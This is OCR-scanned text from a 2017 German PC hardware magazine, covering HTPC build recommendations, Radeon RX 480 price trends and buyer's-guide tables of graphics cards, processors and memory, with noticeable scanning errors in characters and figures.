elektronisches System und Solarzellen trágt und über Lichtimpulse gesteuert wird. 


Bild: www.draper.com/news/equipping-insects-special-service 
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Іп einem der umfangreichsten 4X-Strategiespiele auf ает Markt 
schließen Sie Allianzen, erforschen geheime Technologien oder 
bringen die Galaxis durch Eroberung unter Ihre Kontrolle. Für 

welchen Weg Sie sich auch entscheiden: Jede Partie wartet mit 
eigenen Herausforderungen, Gefahren und Konsequenzen auf. 
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Projekt-PCs: HTPC 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren kónnen, um einen eigenen PC zu bauen. 


um Redaktionsschluss stand 

AMDs Veröffentlichung der 
ersten Ryzen-CPUs mit Codenamen 
Summit Ridge kurz bevor (wenn 
Sie diese Zeilen lesen, hat sie wahr- 
stattgefunden). 


Aus diesem Grund ist es besonders 


scheinlich schon 


Einsteiger 


schwer, 
zu empfehlen. Zu ungewiss sind 


PC-Zusammenstellungen 


die Folgen von Ryzen, was die 
Preisentwicklung angeht. Aus die- 
sem Grund haben wir uns dazu 
HTPC-Zusam- 
menstellungen auf Basis von Intels 


entschlossen, zwei 


günstigem Pentium G4560 zu prä- 
sentieren. Als AMD-Alternative für 
Full-HD-Fernseher hätten wir gerne 
eine AMI-Plattform mit Kabini-APU 
genommen, jedoch sind die Athlon- 
Modelle nicht mehr verfügbar. Im 
Falle von Intels Kaby Lake-S können 


Premium 


die GPUs grundsätzlich mit HDMI 
2.0 umgehen und Ultra-HD-Streams 
beschleunigen. Dafür braucht es 
jedoch einen Brückenchip von 
Displayport 1.2 auf HDMI 2.0, da 
Intel bei den Mainboards ansonsten 
HDMI 1.4 vorgibt. (mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Prozessor 


Intel Pentium G4560 


€ 60,- 


Prozessor 


ntel Pentium G4560 


CPU-Kühler 


Boxed 


CPU-Kühler 


octua NH-L9i 


Mainboard 


MSI B2501 Pro 


€ 90,- 


Mainboard 


Asrock 2270 Fatal1ty Gaming-ITX/ac 


Arbeitsspeicher 


Crucial DIMM Kit , 2 x 4 GiB, DDR4-2133 


€ 60,- 


Arbeitsspeicher 


Crucial DIMM Kit , 2 x 4 GiB, DDR4-2133 


SSD 


SSD 


ntel SSD 600p 


HDD 


Western Digital Blue Mobile 1 TB, 2,5 Zoll 


€ 60,- 


HDD 


Western Digital Red 4 TB 


Geháuse 


MS-Tech MC-80BL 


=й) = 


Gehäuse 


Lian Li PC-Q20B 


Netzteil 


Dem Gehäuse beiliegend (90 Watt, extern) 


Netzteil 


Silverstone SFX Series ST30SF 300 Watt 


Pentium + B250 

Der einfachste und günstigste Weg, 
einen Pentium G4560 zu betreiben, ist 
der Kauf eines Mainboards mit B250- 
PCH. Grundsätzlich läuft die CPU auch 
mit günstigeren H110- oder B150-Pla- 
inen, dort muss aber gegebenenfalls 
das BIOS mit einer Skylake-CPU ge- 
lasht werden. Das MSI В2501 Pro ist 


Euro und kann garantiert mit Kaby 
Lake-S umgehen. Wer den HTPC per 
WLAN verbinden móchte, kann eine 
.2-E-Key-Karte dazu kaufen oder zum 
SI В2501 Gaming Pro AC 
ür 110 Euro greifen. In bei- 
den Fállen steht allerdings 
nur HDMI 1.4 für Full HD bei 
60 Hz oder Ultra HD bei 30 
Hz zur Verfügung. HDMI 2.0 
im Mini-ITX-Format gibt es 
beim Asrock-Modell rechts. 


Gesamtpreis (ab) € 360,- 


das aktuell günstigste Angebot für 90 | 


Bild: MS-Tech 


Alternativ-Komponenten 


Gesamtpreis (ab) 


Pentium + Z270 

+ Lian Li PC-Q20B 

2270 beim Pentium hört sich erst ein- 
mal merkwürdig an, stellt aber bei der 
Ausstattung des Asrock 7270 Fatal1ty 
Gaming-ITX/ac eine interessante Op- 
tion dar: Das Mainboard hat einen 
Brückenchip von Displayport 1.2 auf 


HDMI 2.0, kann also Ultra HD in 60 Hz eg 


anzeigen und mit dem Kopierschutz 
HDCP 2.2 umgehen. Zudem stehen S/ 
PDIF für Sound-Anlagen und USB 3.1 
zur Verfügung. Dafür kostet das Main- 
board dreimal so viel wie die CPU. Be- 
sitzer einer Skylake-S-CPU kënnen die 
Z170-Version (150 €) kaufen und das 
BIOS flashen. Das Lian Li PC-Q20B 
ist ein kompaktes Würfelgehäuse, 
das Platz für ein 5,25-Zoll-Slim-Line- 
Laufwerk bietet und im Boden ein 
3,5- oder zwei 2,5-Zoll-Laufwerke 
beherbergen kann. 


Bild: Asrock 


Bild: Lian Li 


Alternativ-Komponenten 


I Größeres Gehäuse mit Platz für eine kleinere HTPC-Grafikkarte 


IMSI B2501 Gaming Pro AC mit WLAN 


I intel SSD 600p für das Betriebssystem oder eine große 2,5-Zoll-SSD 
(insgesamt nur ein 2,5-Zoll-Schacht vorhanden) 


(mit HDMI 2.0, z. B. Radeon RX 460) 
I Dafür ein günstigeres B250-Mainboard 
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Preisentwicklung und Kauftipps 


Polaris 10 wird 
günstiger 


AMDs Boardpartner MSI treibt die Preise der Rade- 
on RX 480 nach unten. Das gelungene Custom-De- 
sign Gaming X gehört zu den günstigsten Modellen 
mit Preisen von 210 (4 GiByte) beziehungsweise 
240 Euro (8 GiByte). Die Armor 8G kostet ein paar 
Euro weniger. 


achdem sich die Preise von AMDs Radeon 

RX 480 eingependelt hatten, landeten die 
günstigsten 8-GiByte-Modelle bei 260 bis 270 
Euro, später bei 250 Euro. Dabei handelte es sich 
vor allem um Custom-Designs von den kleine- 
ren Boardpartnern HIS und XFX. Anschließend 
kamen noch niedriger getaktete Modelle von 
Sapphire und Powercolor hinzu, die preisbe- 
wusstere Käufer adressieren sollten. In den letz- 
ten Wochen hat darüber hinaus MSI angefangen, 
seine Preise zu senken. 


Bislang galt die Radeon RX 480 Gaming X ge- 
nauso wie Asus’ ROG Strix als Premium-Modell 
für 290 bis 300 Euro - dafür bekommen Käufer 
gute Kühllösungen und im Falle der MSI-Grafik- 
karte die ab Werk beste Note im PCGH-Test. Nun 
ist die Gaming X mit 8 GiByte Grafikspeicher 
auf 240 Euro gerutscht. Den Preis ruft Mindfac- 
tory auf. Caseking und Alternate verkaufen die 
Grafikkarte für 245 beziehungsweise 250 Euro 
und legen damit eine Preissenkung seitens MSI 
nahe. Bei Caseking ist aktuell keine günstigere 
Radeon RX 480/8G erhältlich. Interessant ist ein 
Vergleich zur Geforce GTX 1060 6GB Gaming 
X 6G mit baugleicher Kühllösung, die etwa 320 
Euro kostet, rund ein Drittel mehr als die ähn- 
lich schnelle RX 480. 


Bei anderen Hándlern gibt es noch MSIs Armor 
8G mit kleineren Lüftern (90 statt 100 mm) und 
niedrigerem Takt für gut 230 Euro. Die Gaming 
X 4С kostet 210 Euro. Andere Hersteller haben 
ebenfalls nachgelegt und rufen für ihre günstigs- 
ten 8-GiByte-Modelle der Radeon RX 480 235 
bis 250 Euro auf, für die 4-GiByte-Ausführungen 
190 bis 210. Das Ganze geschieht jedoch zulas- 
ten der RX 470, die dadurch nur noch im Falle 
der günstigsten Custom-Designs für 175 bis 190 
Euro einigermaßen attraktiv erscheint. Größere 
Preissenkungen gab es dort nicht, ebenso wenig 
bei der RX 460. (mm) 


118 PC Games Hardware | 04/17 


Einkaufsführer 


www.pcgh.de/einka 


Preisentwicklung MSI Radeon RX 480 Gaming X 8G 
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Preisentwicklung HIS Radeon RX 470 iCooler OC 
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LTE Т PREIS-LEISTUNGS-TIPP 


[ERS f SPAR-TIPP 


Benotung auf Basis der aktuellen PCGH-Testmethodik 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) | (2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Zotac GTX 1080 AMP! Extreme €720,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Watt | 31,2/5,0 cm | 2x 8-Pol 0,0/1,7/1,9 Sone 173 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 700,- | 8.192 MiB .9114/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,75 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | €720,- | 8.192 MiB .9114/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,77 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €710,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Watt | 27,3/3,5 ст | 2x 8-Pol 0,0/2,4/2,4 Sone 1,79 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill X3 € 680,- | 8.192 MiB .9494./1.301 MHz | 12/237/239 Watt | 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,80 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G €700,- | 8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,81 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC Є 850,- | 8.192 MiB .898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,82 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming €660,- | 8.192 MiB | 1.8104/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po| 0,0/4,1/4,1 Sone 1,86 08/2016 | www.pcgh.de/preis/1449277 
Palit GTX 1070 Game Rock Prem. | € 480,- | 8.192 MiB .936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 1,99 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €480,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Watt | 31,2/5,0 cm | 2x 8-Po 0,0/1,6/1,9 Sone 1,99 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 450,- | 8.192 MiB .949+/4.104 MHz | 10/190/192 Watt | 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,04 09/2016 | www.pcgh.de/preis/ 450744 «ТТ 
Asus GTX 1070 Strix ОС € 500,- | 8.192 MiB .911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,05 08/2016 | www.pcgh.de/preis/1450613 
EVGA GTX 1070 SC ACX 3.0 €440,- | 8.192 MiB | 1.7724/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,05 09/2016 | www.pcgh.de/preis/1456822 
MSI GTX 1070 Gaming X 8G € 470,- | 8.192 MiB .924+/4.007 MHz | 11/208/208 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,06 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1070 G1 Gaming €440,- | 8.192 MiB | 1.8734/4.007 MHz | 9/181/182 Watt 28,1/3,5 cm x 8-Po| 0,0/3,5/3,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC € 340,- | 6.144 MiB .987+/4.104 MHz | 8/145/145 Wa 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,40 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G €330,- | 6.144 МІВ | 1.949+/4.007 MHz | 8/146/146 Watt 27,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,42 10/2016 | www.pcgh.de/preis/1478791 
Gigabyte GTX 1060 G1 Gaming € 300,- | 6.144 MiB .962+/4.007 MHz | 9/153/153 Wa 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 10/2016 | www.pcgh.de/preis/1479045 
Zotac GTX 1060 AMP! €290,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,45 10/2016 | www.pcgh.de/preis/1478147 
Gainward GTX 1060 Phoenix GS € 290,- | 6.144 MiB .860+/4.007 MHz | 6/124/125 Wa 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB .860--/4.007 MHz | 6/123/125 Wa 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,49 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €280,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Рој 0,0/2,5/2,5 Sone 2,53 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual € 220,- | 3.072 MiB .848+/4.007 MHz | 6/126/127 Wa 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2,70 01/2017 | www.pcgh.de/preis/1480332 
KFA2 GTX 1060 3GB OC €210,- | 3.072 MiB | 1.810+/4.007 MHz | 9/122/123 Watt 23,4/3,5 cm x 6-Po| 0,3/1,5/1,5 Sone 2:73 01/2017 | www.pcgh.de/preis/1494969 
Zotac GTX 1060 3GB Mini € 210,- | 3.072 MiB .797+/4.007 MHz | 9/120/120 Wa 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,76 01/2017 | www.pcgh.de/preis/1495006 
Asus GTX 1050 Ti Strix O4G € 190,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po| 0,0/0,8/0,9 Sone 2,79 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 175,- | 4.096 MiB .645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,82 01/2017 | www.pcgh.de/preis/1526013 
MSI GTX 1050 Ti Gaming X 4G €170,- | 4.096 MiB | 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po| 0,0/0,3/0,3 Sone 2,86 01/2017 | www.pcgh.de/preis/1524111 
EVGA GTX 1050 Ti SC Gaming € 165,- | 4.096 MiB .557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,93 01/2017 | www.pcgh.de/preis/1525248 
Zotac GTX 1050 Ti OC Edition € 160,- | 4.096 MiB .658+/3.504 MHz | 6/58/58 Watt 16,0/3,5 cm 1,0/1,5/1,5 Sone 2,94 01/2017 | www.pcgh.de/preis/1525243 
Asus GTX 1050 Expedition €135,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm |- 0,0/0,5/0,5 Sone 3,13 01/2017 | www.pcgh.de/preis/1525209 
AND Radeon deeem cem = 
AMD R9 Fury X* €420,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 ст | 2x 8-Pol 1,3/1,6/1,6 Ѕопе 2,44 09/2015 | www.pcgh.de/preis/1285955 
MSI RX 480 Gaming X 8G €240,- | 8.192 MiB | 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,48 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix € 330,- | 4.096 MiB 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 ст | 2x 8-Po 0,0/2,6/3,1 Sone 2,53 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro-- OC 8GB €260,- | 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,54 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC €300,- | 8.192 MiB | 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po| 0,0/4,2/4,2 Sone 2,55 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €370,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,57 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 250,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Po 0,0/2,3/2,3 Sone 2,59 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition € 260,- | 8.192 MiB .320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,60 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4р5 OC €210,- | 4.096 MiB | 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po| 0,0/4,2/5,0 Sone 2,64 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4р5 OC €210,- | 4.096 MiB | 1.220+/3.500 MHz 5/195/209 Wa 24,0/3,5 cm x 8-Po| 0,0/2,5/2,7 Sone 2,70 01/2017 | www.pcgh.de/preis/1483308 
MSI RX 470 Gaming X 4G € 200,- | 4.096 MiB .242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 273) 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G € 190,- | 4.096 MiB | 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po| 0,0/2,4/2,4 Sone 2,76 01/2017 | www.pcgh.de/preis/ 488416 ФТІ 
HIS RX 470 IceQ X2 Turbo € 190,- | 4.096 MiB .100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,78 01/2017 | www.pcgh.de/preis/1488555 
XFX RX 470 RS Black Edition €180,- | 4.096 MiB | 1.080+/3.500 MHz | 14/152/155 Wa 24,6/3,5 cm x 6-Po| 0,0/2,2/2,6 Sone 2,79 01/2017 | www.pcgh.de/preis/1488365 
Asus RX 470 Strix OC € 200,- | 4.096 MiB .050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,82 01/2017 | www.pcgh.de/preis/1488369 
Powercolor RX 470 Red Devil € 195,- | 4.096 MiB 1.125+/3.500 MHz 711741182 Wa 24,0/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,84 01/2017 | www.pcgh.de/preis/1488318 
Sapphire R9 380X Nitro € 220,- | 4.096 MiB .040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2,89 01/2016 | www.pcgh.de/preis/1351755 
Asus R9 380X Strix OC €270,- | 4.096 MiB | 1.030/2.850 MHz 5/199/203 Wa 27,0/3,7 cm | 2x 6-Po 0,0/1,5/1,5 Sone 2,90 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G €270,- | 4.096 MiB | 980/2.850 MHz 9/209/229 Wa 26,7/3,5 cm | 2x 6-Po 0,0/1,6/2,0 Sone 2,96 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 €210,- | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 ст | 1x 8-Po 0,0/1,3/1,3 Sone 3,07 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact € 200,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 ст | 1x 8-Рој 0,2/2,3/2,4 Sone 3,10 10/2015 | www.pcgh.de/preis/1280836 
Asus RX 460 Strix 04G € 145,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po| 0,0/1,6/1,6 Sone 3,14 01/2017 | www.pcgh.de/preis/1490013 
Sapphire R7 370 Nitro 4GB € 190,- | 4.096 MiB | 985/2.800 MHz 2/115/120 Wa 21,3/3,5 cm | 1x 6-Po 0,0/0,9/1,1 Sone 3,18 03/2016 | www.pcgh.de/preis/1282684 
* Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version (max. Zubehör) getestet. 
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(TLSEIPREIS-LEISTUNGS-TIPP 


[EL PISPAR-TIPP 


AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel Э PCGH-Preisvergleich 
AMD FX-9590 Ca. € 190,- 59,4 %/46,2 % | 40/441/383/309 4m/8t |- 4,7 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 2,98 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. € 170,- 55,1 %/42,2 % | 39/359/318/227 4m/8t 40 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,04 SE www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. € 150,- 54,6 %/42,0 % | 40/355/312/218 4m/8t 40 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,05 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8300 Ca. € 110,- 49,5 %/36,3 % | 38/243/295/288 4m/8t 3,3 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,16 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-8320E Ca. € 125,- 48,2 96/35,6 % | 38/282/260/164 4m/8t |- 3,2 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,19 add www.pcgh.de/preis/1155966 
AMD FX-6350 Ca. € 115,- 48,3 %/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,25 See www.pcgh.de/preis/939528 

TIT amo FX-6300 Ca. € 90,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,31 ad www.pcgh.de/preis/853168 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.750,- | 100 96/100 % | 50/239/370/304 10g20t | - 3,0 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7700K | Ca. € 360,- 98,2 %/65,8 % | 19/223/320/302 4/81 | HD 630 4,2 GHz + Turbo 4nm | DDR4-2400 | 1151 1,63 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 1.100,- | 96,8 %/90,7 % | 50/243/349/313 8dl6t |- 3,0 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 1,69 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K Ca. € 345,- 91,8 %/60,7 % | 21/302/256/126 4/81 | HD 530 4,0 GHz + Turbo 4nm | DDR4-2133 | 1151 4,79 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C Ca. € 400,- 95,9 %/54,7 % | 19/287/252/120 4c8t | Iris Pro 6200 | 3,3 GHz + Turbo Anm | DDR3(L)-1600 | 1150 1,85 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.070,- | 88,4 %/81,2 % | 49/364/286/202 8d16t |- 3,0 GHz + Turbo |22nm | DDR4-2133 | 2011-3 1,96 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Са. € 435,- 89,3 %/70,2 % | 49/235/344/296 6c/12t 3,4 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 2,07 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-5820K | Ca. € 410,- 86,2 %/65,8 % | 46/340/278/176 6c/12t 3,3 GHz + Turbo | 22 nm | DDR4-2133 | 2011-v3 2,15 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. € 360,- 81,9 %/57,1 % | 18/320/261/134 40/8 HD 4600 40 GHz + Turbo |22nm |DDR3-1600 | 1150 2,16 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-7600K | Ca. € 250,- 76,8 %/47,9 % | 19/203/262/245 4c4 HD 630 3,8 GHz + Turbo 4nm | DDR4-2400 | 1151 2,18 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C Ca. € 295,- 78,8 %/41,7 % | 17/245/228/107 Ad ris Pro 6200 | 3,1 GHz + Turbo 4nm | DDR3(L)-1600 | 1150 2,30 T dd www.pcgh.de/preis/1275321 
ntel Core i5-6600K Ca. € 235,- 67,3 %/43,7 % | 22/245/225/109 40/4 HD 530 3,5 GHz + Turbo 4nm | DDR4-2133 | 1151 2,43 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K Ca. € 370,- 70,4 %/45,5 % | 25/267/235/123 4/8 НО 4600 3,5 GHz + Turbo | 22 пт |DDR3-1600 | 1155 2,52 03/2016 | www.pcgh.de/preis/928911 
ntel Core i5-7500 Ca. € 210,- 67,6 %/40,5 % | 18/186/232/226 40/4 HD 630 3,4 GHz + Turbo 4 пт | DDR4-2400 | 1151 2,53 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 190,- 65,5 %/34,1 % | 19/189/230/226 2c/4 HD 630 4,2 GHz 4nm | DDR4-2400 | 1151 2,56 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-7400 Ca. € 185,- 72,1 %/43,6 % | 18/194/242/233 Acid HD 630 3,0 GHz + Turbo 4nm | DDR4-2400 | 1151 2,63 04/2017 | www.pcgh.de/preis/1553204 
ntel Core i5-6500 Ca. € 205,- 63,4 %/40,6 % | 20/230/216/102 4c4 HD 530 3,2 GHz + Turbo 4nm | DDR4-2133 | 1151 2,76 03/2016 | www.pcgh.de/preis/1553204 

ntel Pentium G4560 | Ca. € 60,- 55,0 %/26,9 % | 19/189/230/226 2c/4 HD 610 3,5 GHz Anm | DDR4-2400 | 1151 3,17 03/2017 | www.pcgh.de/preis/1558362 
APUs (AMD/Intel) Preis Leistung* Stromverbrauch** | Recheneinheiten Takt CPU/GPU Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-5775C Ca. € 400,- 100 %/94,0 % | 21/99/97/80 4c/8t/384 (Gen8) 3,3 - 3,7/1,25 GHz | 14 пт | DDR3(L)-1600 | 1150 1,31 08/2015 | www.pcgh.de/preis/1275291 
ntel Core i5-5675C Ca. € 295,- 96,6 %/73,4 % | 22/98/93/74 4c/4t/384 (Gen8) 3,1 - 3,6/1,15 GHz | 14 nm | DDR3(L)-1600 | 1150 1752 ir www.pcgh.de/preis/1275321 
ntel Core i7-6700K Ca. € 345,- 69,1 %/100 % | 23/77/70/112 4с/81/192 (Gen9) 4,0 - 4,2/1,15 GHz | 14 пт | DDR4-2133 | 1151 1,75 10/2015 | www.pcgh.de/preis/1290371 
AMD A10-7870K Ca. € 130,- 83,1 %/43,0 % | 26/107/104/108 2m/4t/512 (GCN) 3,9 - 4,1/0,87 GHz | 28 пт | DDR3-2400 | FM2+ 1,98 03/2014 | www.pcgh.de/preis/1259232 
AMD A10-7850K Ca. € 100,- 78,4 %/41,5 % | 27/104/99/105 2m/4t/512 (GCN) 3,7 - 4,0/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,08 03/2014 | www.pcgh.de/preis/105001 1 
AMD A10-7860K Ca. € 105,- 75,4 %/40,7 % | 26/97/95/102 2m/4t/512 (GCN) 3,6 - 4,0/0,76 GHz | 28 пт | DDR3-2400 | FM2+ 2,12 bag www.pcgh.de/preis/1389138 
AMD A10-7700K Ca. € 85,- 90,4 %/49,3 % | 27/106/104/106 2m/4t/384 (GCN) 3,4 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,21 04/2014 | www.pcgh.de/preis/1050012 
AMD A10-7800 Ca. € 85,- 73,7 %/39,1 % | 27/100/97/97 2m/4t/512 (GCN) 3,5 - 3,9/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,26 09/2014 | www.pcgh.de/preis/1076550 

ШЕТУ AMD 48-7600 (65W) | Ca. € 75,- 70,0 %/38,1 % | 26/93/90/100 2m/4t/384 (GCN) 3,1 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2132 07/2014 | www.pcgh.de/preis/1051533 

* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf oh. Grafikkarte/Crysis 3/9 Spiele/@ Anwendungen); APUs: Leerlauf/BFA4/BI/x264 MT, 1080р *** Nachgetestet ohne Heftartikel 


Arbeitsspeicher 


DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
TI T G.Skill Trident X F3-1600C7D-16GTX Ca. € 120,- | 2x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 ст | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C115RK2/16 Са. € 160,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klevv Neo KM3N8GX2W-2133 N. verfügbar | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vol 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
